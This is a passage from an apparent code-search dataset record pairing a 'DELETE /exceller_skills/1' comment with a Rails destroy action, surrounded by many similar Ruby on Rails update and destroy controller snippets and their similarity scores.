:no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @special_skill.update(special_skill_params)\n format.html { redirect_to @special_skill, notice: 'Special skill was successfully updated.' }\n format.json { render :show, status: :ok, location: @special_skill }\n else\n format.html { render :edit }\n format.json { render json: @special_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n @skills = Skill.all\n if @engineer.update(engineer_params)\n skills = []\n params['skills'].each do |skill|\n if skill[1]['year'].to_i > 0 || skill[1]['level'].to_i > 0\n skills.push({\n :skill_id => skill[1]['id'].to_i,\n :engineer_id => @engineer.id,\n :years_of_experience => skill[1]['year'],\n :level => skill[1]['level'] \n })\n end\n end\n pp skills\n EngineerSkill.insert_engineer_skills(skills)\n format.html { redirect_to @engineer, notice: 'プロフィールが正常に更新されました' }\n else\n @errors = @engineer.errors\n format.html { render :edit, notice: @errors }\n end\n end\n end", "def update\n respond_to do |format|\n if @skill.update(skill_params)\n format.html { redirect_to admin_skills_path, \n notice: 'Skill was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end", "def update\n respond_to do |format|\n if @skill_name.update(skill_name_params)\n format.html { redirect_to @skill_name, notice: 'Skill name was successfully updated.' }\n format.json { render :show, status: :ok, location: @skill_name }\n else\n format.html { render :edit }\n format.json { render json: @skill_name.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @skills_user.update(skills_user_params)\n format.html { redirect_to @skills_user, notice: 'Skills user was successfully updated.' }\n format.json { render :show, status: :ok, location: @skills_user }\n else\n format.html { render :edit }\n format.json { render json: @skills_user.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @individual_skill_record = IndividualSkillRecord.find(params[:id])\n\n respond_to do |format|\n if @individual_skill_record.update_attributes(params[:individual_skill_record])\n format.html { redirect_to @individual_skill_record, :notice => 'Individual skill record was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @individual_skill_record.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @experience.update(experience_params)\n format.html { redirect_to root_path, notice: 'Experience was successfully updated.' }\n format.json { render :show, status: :ok, location: @experience }\n else\n format.html { render :edit }\n format.json { render json: @experience.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @skillset.update(skillset_params)\n format.html { redirect_to @skillset, notice: 'Skillset was successfully updated.' }\n format.json { render :show, status: :ok, location: @skillset }\n else\n format.html { render :edit }\n format.json { render json: @skillset.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @s_skill.update(s_skill_params)\n format.html { redirect_to @s_skill, notice: 'S skill was successfully updated.' }\n format.json { render :show, status: :ok, location: @s_skill }\n else\n format.html { render :edit }\n format.json { render json: @s_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @other_skill.update(other_skill_params)\n format.html { redirect_to other_skills_url, notice: 'Other skill was successfully updated.' }\n else\n format.html { render :edit }\n end\n end\n end", "def update\n respond_to do |format|\n if @projects_skill.update(projects_skill_params)\n format.html { redirect_to @projects_skill, notice: 'Projects skill was successfully updated.' }\n format.json { render :show, status: :ok, location: @projects_skill }\n else\n format.html { render :edit }\n format.json { render json: @projects_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @experience.update(experience_params)\n format.html { redirect_to app_employees_index_path, notice: 'Experience was successfully updated.' }\n format.json { render :show, status: :ok, location: @experience }\n else\n format.html { render :edit }\n format.json { render json: @experience.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @skillinstance = Skillinstance.find(params[:id])\n\n respond_to do |format|\n if @skillinstance.update_attributes(params[:skillinstance])\n format.html { redirect_to @skillinstance, notice: 'Skillinstance was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @skillinstance.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @experience.update(experience_params)\n format.html { redirect_to experiences_path, notice: 'Experience was successfully updated.' }\n format.json { render :show, status: :ok, location: @experience }\n else\n format.html { render :edit }\n format.json { render json: @experience.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @applicant.update(applicant_params)\n update_skills\n format.html { redirect_to @applicant, notice: 'Applicant was successfully updated.' }\n format.json { render :show, status: :ok, location: @applicant }\n else\n format.html { render :edit }\n format.json { render json: @applicant.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @crew_skill.update(crew_skill_params)\n format.html { redirect_to @crew_skill, notice: 'Crew skill was successfully updated.' }\n format.json { render :show, status: :ok, location: @crew_skill }\n else\n format.html { render :edit }\n format.json { render json: @crew_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @skill_tag = SkillTag.find(params[:id])\n\n respond_to do |format|\n if @skill_tag.update_attributes(params[:skill_tag])\n format.html { redirect_to @skill_tag, :notice => 'Hidden job was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @skill_tag.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @skill_user_profile = SkillUserProfile.find(params[:id])\n\n if @skill_user_profile.update(skill_user_profile_params)\n head :no_content\n else\n render json: @skill_user_profile.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @user_work_skill.update(user_work_skill_params)\n format.html { redirect_to action:\"index\",:user_work_experience_role_id=>@user_work_skill.user_work_experience_role_id }\n format.json { render :show, status: :ok, location: @user_work_skill }\n else\n format.html { render :edit }\n format.json { render json: @user_work_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @experience.update(experience_params)\n format.html { redirect_to @experience, notice: 'Experience was successfully updated.' }\n format.json { render :show, status: :ok, location: @experience }\n else\n format.html { render :edit }\n format.json { render json: @experience.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @experience.update(experience_params)\n format.html { redirect_to @experience, notice: 'Experience was successfully updated.' }\n format.json { render :show, status: :ok, location: @experience }\n else\n format.html { render :edit }\n format.json { render json: @experience.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @experience.update(experience_params)\n format.html { redirect_to @experience, notice: 'Experience was successfully updated.' }\n format.json { render :show, status: :ok, location: @experience }\n else\n format.html { render :edit }\n format.json { render json: @experience.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @skill_level.update(skill_level_params)\n format.html { redirect_to @skill_level, notice: 'Skill level was successfully updated.' }\n format.json { render :show, status: :ok, location: @skill_level }\n else\n format.html { render :edit }\n format.json { render json: @skill_level.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @skill.update(skill_params)\n format.html { redirect_to @skill, notice: 'Blog was successfully updated.' } \n else\n format.html { render :edit }\n \n end\n end\n end", "def update\n @skill_suggestion = SkillSuggestion.find(params[:id])\n\n respond_to do |format|\n if @skill_suggestion.update_attributes(params[:skill_suggestion])\n format.html { redirect_to @skill_suggestion, notice: 'Skill suggestion was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @skill_suggestion.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @skill_assessment.update(skill_assessment_params)\n format.html { redirect_to @skill_assessment, notice: 'Skill assessment was successfully updated.' }\n format.json { render :show, status: :ok, location: @skill_assessment }\n else\n format.html { render :edit }\n format.json { render json: @skill_assessment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @computer_skill.update(computer_skill_params)\n format.html { redirect_to user_computer_skills_path, notice: 'Computer skill was successfully updated.' }\n format.json { render :show, status: :ok, location: @computer_skill }\n else\n format.html { render :edit }\n format.json { render json: @computer_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @experiencedetail = Experiencedetail.find(params[:id])\n\n respond_to do |format|\n if @experiencedetail.update_attributes(params[:experiencedetail])\n format.html { redirect_to @experiencedetail, notice: 'Experiencedetail was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @experiencedetail.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @culinary_skill.update(culinary_skill_params)\n format.html { redirect_to @culinary_skill, notice: 'Culinary skill was successfully updated.' }\n format.json { render :show, status: :ok, location: @culinary_skill }\n format.js\n else\n format.html { render :edit }\n format.json { render json: @culinary_skill.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end", "def update\n authorize! :update, WorkingExperience, :message => 'Not authorized as an administrator.'\n @user = User.find(params[:user_id])\n @working_experience = @user.working_experiences.find(params[:id])\n\n respond_to do |format|\n if @working_experience.update_attributes(params[:working_experience])\n format.html { redirect_to user_working_experiences_path, notice: 'Working experience was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @working_experience.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @skill_slot.update(skill_slot_params)\n format.html { redirect_to @skill_slot, notice: 'Skill slot was successfully updated.' }\n format.json { render :show, status: :ok, location: @skill_slot }\n else\n format.html { render :edit }\n format.json { render json: @skill_slot.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\t @service = servicio\n\t @experience = @service.experiences.find(params[:id])\n\t\trespond_to do |format|\n\t\t\tif @experience.update(experience_params)\n\t\t\t\tformat.html { redirect_to experience_path(@experience), notice: 'La experiencia se ha modificado exitosamente.' }\n\t\t\t\tformat.json { render :show, status: :ok, location: @experience }\n\t\t\telse\n\t\t\t\tformat.html { render :edit }\n\t\t\t\tformat.json { render json: @experience.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend", "def update\n respond_to do |format|\n if @opening_skill.update(opening_skill_params)\n format.html { redirect_to @opening_skill, notice: 'Opening skill was successfully updated.' }\n format.json { render :show, status: :ok, location: @opening_skill }\n else\n format.html { render :edit }\n format.json { render json: @opening_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @crew_member_skill = CrewMemberSkill.find(params[:id])\n\n respond_to do |format|\n if @crew_member_skill.update_attributes(params[:crew_member_skill])\n format.html { redirect_to @crew_member_skill, notice: 'Crew member skill was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @crew_member_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @areas_skill.update(areas_skill_params)\n format.html { redirect_to @areas_skill, notice: 'Areas skill was successfully updated.' }\n format.json { render :show, status: :ok, location: @areas_skill }\n else\n format.html { render :edit }\n format.json { render json: @areas_skill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @skill_catagory.update(skill_catagory_params)\n format.html { redirect_to @skill_catagory, notice: 'Skill catagory was successfully updated.' }\n format.json { render :show, status: :ok, location: @skill_catagory }\n else\n format.html { render :edit }\n format.json { render json: @skill_catagory.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @function_experience = FunctionExperience.find(params[:id])\n\n respond_to do |format|\n if @function_experience.update_attributes(params[:function_experience])\n format.html { redirect_to @function_experience, notice: 'Function experience was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @function_experience.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @user_work_experience.update(user_work_experience_params)\n format.html { redirect_to action: \"index\", notice: 'User work experience was successfully updated.' }\n format.json { render :show, status: :ok, location: @user_work_experience }\n else\n format.html { render :edit }\n format.json { render json: @user_work_experience.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @buildskill.update(buildskill_params)\n format.html { redirect_to @buildskill, notice: 'Buildskill was successfully updated.' }\n format.json { render :show, status: :ok, location: @buildskill }\n else\n format.html { render :edit }\n format.json { render json: @buildskill.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n\n @laboratory = Laboratory.find(params[:id])\n\n if @laboratory.update!(laboratory_params)\n render json: @laboratory\n else \n render json: @laboratory.errors, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @education_service_provided_typology.update(education_service_provided_typology_params)\n format.html { redirect_to @education_service_provided_typology, notice: 'Education service provided typology was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @education_service_provided_typology.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @skill_tag = SkillTag.find(params[:id])\n\n respond_to do |format|\n if @skill_tag.update_attributes(params[:skill_tag])\n flash[:notice] = 'SkillTag was successfully updated.'\n format.html { redirect_to(@skill_tag) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @skill_tag.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @skill_list.update(skill_list_params)\n format.html { redirect_to @skill_list, notice: 'Skill list was successfully updated.' }\n format.json { render :show, status: :ok, location: @skill_list }\n else\n format.html { render :edit }\n format.json { render json: @skill_list.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @skill_inventory.update(skill_inventory_params)\n format.html { redirect_to @skill_inventory, notice: 'Skill inventory was successfully updated.' }\n format.json { render :show, status: :ok, location: @skill_inventory }\n else\n format.html { render :edit }\n format.json { render json: @skill_inventory.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @kitty = Kitty.find(params[:id])\n\n respond_to do |format|\n if @kitty.update_attributes(params[:kitty])\n format.html { redirect_to @kitty, notice: 'Kitty was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @kitty.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @skill_level = SkillLevel.find(params[:id])\n\n respond_to do |format|\n if @skill_level.update_attributes(params[:skill_level])\n format.html { redirect_to(@skill_level, :notice => 'SkillLevel was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @skill_level.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update_skills(pokemon)\n pokemon.skills_set.compact!\n @skills.each_with_index do |skill_stack, index|\n skill_stack.data = pokemon.skills_set[index]\n end\n end", "def update\n if( get_seeker_id = params[:id] )\n @seeker.skill_list = params[:seeker][:skill_list].to_s.downcase\n respond_to do |format|\n if @seeker.update(seeker_params)\n format.html { redirect_to root_path, notice: 'Seeker was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @seeker.errors, status: :unprocessable_entity }\n end\n end\n else\n permission_denied \"You_do_no_own_this_profile\"\n end\n end", "def update\n respond_to do |format|\n if @thirtyfife.update(thirtyfife_params)\n format.html { redirect_to @thirtyfife, notice: 'Thirtyfive was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @thirtyfife.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @interesting = Interesting.find(params[:id])\n\n respond_to do |format|\n if @interesting.update_attributes(params[:interesting])\n format.html { redirect_to @interesting, notice: 'Interesting was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @interesting.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @learn = Learn.find(params[:id])\n\n respond_to do |format|\n if @learn.update_attributes(params[:learn])\n format.html { redirect_to @learn, notice: 'Learn was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @learn.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @working_experience.update(working_experience_params)\n format.html { redirect_to @working_experience, notice: 'Working experience was successfully updated.' }\n format.json { render :show, status: :ok, location: @working_experience }\n else\n format.html { render :edit }\n format.json { render json: @working_experience.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @exhibition = Exhibition.find(params[:id])\n\n respond_to do |format|\n if @exhibition.update_attributes(params[:exhibition])\n format.html { redirect_to @exhibition, notice: 'Exhibition was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @exhibition.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @my_exam = MyExam.find(params[:id])\n\n respond_to do |format|\n if @my_exam.update_attributes(params[:my_exam])\n format.html { redirect_to @my_exam, notice: 'My exam was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @my_exam.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @employ = Employ.find(params[:id])\n\n respond_to do |format|\n if @employ.update_attributes(params[:employ])\n format.html { redirect_to @employ, notice: 'Employ was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @employ.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @health_professional = HealthProfessional.find(params[:id])\n\n respond_to do |format|\n if @health_professional.update_attributes(params[:health_professional])\n format.html { redirect_to @health_professional, notice: 'Health professional was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @health_professional.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @question_learned.update(question_learned_params)\n format.html { redirect_to @question_learned, notice: 'Question learned was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @question_learned.errors, status: :unprocessable_entity }\n end\n end\n end", "def update_by_body\n @person = Person.find(person_update_params[:id])\n\n if @person.update_attributes(person_update_params)\n render json: { status: 'PUT Success' }, status: :ok\n else\n render json: { status: 'Error', message:'Error updating person', person: @person.errors }, status: :unprocessable_entity\n end\n end", "def update\n respond_to do |format|\n if @growth.update(growth_params)\n format.html { redirect_to @growth, notice: 'Growth was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @growth.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @exam = Exam.find(params[:id])\n\n respond_to do |format|\n if @exam.update_attributes(params[:exam])\n format.html { redirect_to exams_path, notice: 'Exam was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @exam.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @familiar = Familiar.find(params[:id])\n\n respond_to do |format|\n if @familiar.update_attributes(params[:familiar])\n format.html { redirect_to @familiar, notice: 'Familiar was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @familiar.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @heli_kit = HeliKit.find(params[:id])\n\n respond_to do |format|\n if @heli_kit.update_attributes(params[:heli_kit])\n format.html { redirect_to @heli_kit, notice: 'Heli kit was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @heli_kit.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @vacancy.update(vacancy_params)\n update_skills\n format.html { redirect_to @vacancy, notice: 'Vacancy was successfully updated.' }\n format.json { render :show, status: :ok, location: @vacancy }\n else\n format.html { render :edit }\n format.json { render json: @vacancy.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @expertise = Expertise.find(params[:id])\n\n if @expertise.update(expertise_params)\n head :no_content\n else\n render json: @expertise.errors, status: :unprocessable_entity\n end\n end", "def update\n @exam = Exam.find(params[:id])\n\n respond_to do |format|\n if @exam.update_attributes(params[:exam])\n format.html { redirect_to @exam, notice: 'Exam was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @exam.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @experiment = Experiment.find(params[:id])\n\n respond_to do |format|\n if @experiment.update_attributes(params[:experiment])\n format.html { redirect_to @experiment, notice: 'experiment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @experiment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @experiment = Experiment.find(params[:id])\n\n respond_to do |format|\n if @experiment.update_attributes(params[:experiment])\n format.html { redirect_to @experiment, notice: 'Experiment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @experiment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @experiment = Experiment.find(params[:id])\n\n respond_to do |format|\n if @experiment.update_attributes(params[:experiment])\n format.html { redirect_to @experiment, notice: 'Experiment was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @experiment.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @initiative = Initiative.find(params[:id])\n \n respond_to do |format|\n if @initiative.update_attributes(params[:initiative])\n \n format.html { redirect_to @initiative, notice: 'Initiative was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @initiative.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @reqdifficulty.update(reqdifficulty_params)\n format.html { redirect_to @reqdifficulty, notice: 'Reqdifficulty was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @reqdifficulty.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n # @person = Person.find(params[:id])\n # @person.pct_complete = @person.requirement_progress\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, :notice => 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @person.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n @request.assign_json_attributes(params) if @request.resume?\n respond_to do |format|\n if @request.update(request_params)\n format.html { redirect_to @request, notice: 'Request was successfully updated.' }\n format.json { render :show, status: :ok, location: @request }\n else\n format.html { render :edit }\n format.json { render json: @request.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @user = User.find(current_user.id)\n\n #Are we updating experience?\n if( params[:experience_update] )\n @user.experiences.destroy_all #Remove all previous experience.\n\n if( !params[:experience].nil? )\n params[:experience].each do | theatre_id, experience_types |\n experience_types.each do | experience_type_id, val|\n experience = Experience.create(\n theatre_id: theatre_id,\n experience_type_id: experience_type_id,\n user_id: @user.id\n )\n end\n end\n end\n\n end\n\n respond_to do |format|\n if @user.update_attributes(params[:user])\n format.html { redirect_to request.referer , flash: { success: 'User was successfully updated.' } }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @survey = Survey.find(params[:id])\n json = params[:survey]\n json[:questions] = JSON.parse(json[:questions])\n json[:questions].each_with_index do |question, idx|\n json[:questions][idx]['id'] = idx + 1\n end\n\n respond_to do |format|\n if @survey.update_attributes(json)\n format.html { redirect_to @survey, notice: 'Survey was successfully updated.' }\n format.json { render json: @survey }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @survey.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n @exercise = Exercise.find(params[:id])\n\n respond_to do |format|\n if @exercise.update_attributes(params[:exercise])\n format.html { redirect_to @exercise, :notice => 'exercise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @exercise.errors, :status => :unprocessable_entity }\n end\n end\n end", "def update\n respond_to do |format|\n if @programme_exercise.update(programme_exercise_params)\n format.html { redirect_to @programme_exercise, notice: 'Programme exercise was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @programme_exercise.errors, status: :unprocessable_entity }\n end\n end\n end" ]
[ "0.7214534", "0.6989524", "0.6974295", "0.6955596", "0.6872005", "0.6822074", "0.67629725", "0.67629725", "0.6707547", "0.67037195", "0.66876173", "0.6681325", "0.66789323", "0.6641051", "0.663954", "0.66391915", "0.6631356", "0.66230756", "0.6576388", "0.65752184", "0.6573303", "0.6567515", "0.65625226", "0.65354896", "0.64659506", "0.6435455", "0.64287204", "0.6424264", "0.63718176", "0.63590217", "0.6355316", "0.6352859", "0.63495886", "0.6344372", "0.63366246", "0.63356405", "0.6331054", "0.63234967", "0.63200605", "0.6317564", "0.6313673", "0.63103205", "0.630407", "0.6302284", "0.6302284", "0.6302284", "0.62724876", "0.6260197", "0.62503123", "0.6236815", "0.62330145", "0.6229604", "0.62224394", "0.6215321", "0.6202625", "0.6180949", "0.61232626", "0.6119055", "0.61144483", "0.6097483", "0.60749024", "0.6073706", "0.6067666", "0.60644454", "0.6063988", "0.6058759", "0.60533774", "0.60447943", "0.6029309", "0.6018735", "0.6015608", "0.60069466", "0.60056764", "0.59998137", "0.59910756", "0.5988858", "0.596149", "0.59579045", "0.5956851", "0.5955951", "0.59494823", "0.5946119", "0.59373593", "0.59222263", "0.59166086", "0.59148294", "0.59140754", "0.5904556", "0.5904433", "0.59010714", "0.5897596", "0.5897596", "0.5894713", "0.58821803", "0.5878405", "0.5868078", "0.5862267", "0.5862051", "0.58575356", "0.58545154" ]
0.704656
1
DELETE /exceller_skills/1 DELETE /exceller_skills/1.json
def destroy @exceller_skill.destroy respond_to do |format| format.html { redirect_to exceller_skills_url, notice: 'Exceller skill was successfully destroyed.' } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @person.skills.delete_all\n \n @person.destroy\n respond_to do |format|\n format.html { redirect_to people_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @skill = Skill.find(params[:id])\n @skill.destroy\n\n respond_to do |format|\n format.html { redirect_to skills_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @skill.destroy\n\n head :no_content\n end", "def destroy\n @admin_skill.destroy\n\n head :no_content\n end", "def destroy\n @desired_skill.destroy\n respond_to do |format|\n format.html { redirect_to desired_skills_url, notice: 'Desired skill was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @mostsmallskill = Mostsmallskill.find(params[:id])\n @mostsmallskill.destroy\n\n respond_to do |format|\n format.html { redirect_to mostsmallskills_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @create_request_skill = CreateRequestSkill.find(params[:id])\n @create_request_skill.destroy\n\n respond_to do |format|\n format.html { redirect_to create_request_skills_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @skill = @user.skills.find(params[:id])\n @skill.destroy\n\n respond_to do |format|\n format.html { redirect_to(user_skills_url(@user)) }\n format.xml { head :ok }\n end\n end", "def destroy\n @user_skill = UserSkill.find(params[:id])\n @user_skill.destroy\n\n respond_to do |format|\n format.html { redirect_to user_skills_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @myskill.destroy\n respond_to do |format|\n format.html { redirect_to myskills_url, notice: 'Myskill was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @individual_skill_record = IndividualSkillRecord.find(params[:id])\n @individual_skill_record.destroy\n\n respond_to do |format|\n format.html { redirect_to individual_skill_records_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @profession_skill.destroy\n respond_to do |format|\n format.html { redirect_to profession_skills_url, notice: 'Profession skill was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @s_skill.destroy\n respond_to do |format|\n format.html { redirect_to s_skills_url, notice: 'S skill was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @skill.destroy\n respond_to do |format|\n format.html { redirect_to skills_url, notice: 'Blog was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @current_skill.destroy\n respond_to do |format|\n format.html { redirect_to current_skills_url, notice: 'Current skill was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @skillset.destroy\n respond_to do |format|\n format.html { redirect_to skillsets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @experience.destroy\n respond_to do |format|\n format.html { redirect_to root_path, notice: 'Experience was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @experience = Experience.find(params[:id])\n @experience.destroy\n\n respond_to do |format|\n format.html { redirect_to experiences_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @skillinstance = Skillinstance.find(params[:id])\n @skillinstance.destroy\n\n respond_to do |format|\n format.html { redirect_to skillinstances_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @special_skill.destroy\n respond_to do |format|\n format.html { redirect_to special_skills_url, notice: 'Special skill was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @skill_set = SkillSet.find(params[:id])\n @skill_set.destroy\n\n respond_to do |format|\n format.html { redirect_to skill_sets_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @skill_level.destroy\n respond_to do |format|\n format.html { redirect_to skill_levels_url, notice: 'Skill level was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @skill = Skill.find(params[:id])\n\t\tauthorize! :destroy, Skill\n\t\t\n @skill.destroy\n\n respond_to do |format|\n format.html { redirect_to skills_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @other_skill.destroy\n respond_to do |format|\n format.html { redirect_to other_skills_url, notice: 'Other skill was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @request = @skill.requests.find(params[:id])\n @request.destroy\n\n respond_to do |format|\n format.html { redirect_to myrequests_path }\n format.json { head :no_content }\n end\n end", "def destroy\n @employee_skill = EmployeeSkill.find(params[:id])\n @employee_skill.destroy\n\n respond_to do |format|\n format.html { redirect_to(employee_skills_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n @skill_tag = SkillTag.find(params[:id])\n @skill_tag.destroy\n\n respond_to do |format|\n format.html { redirect_to skill_tags_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @skill = current_user.skills.find(params[:id])\n @skill.destroy\n\n 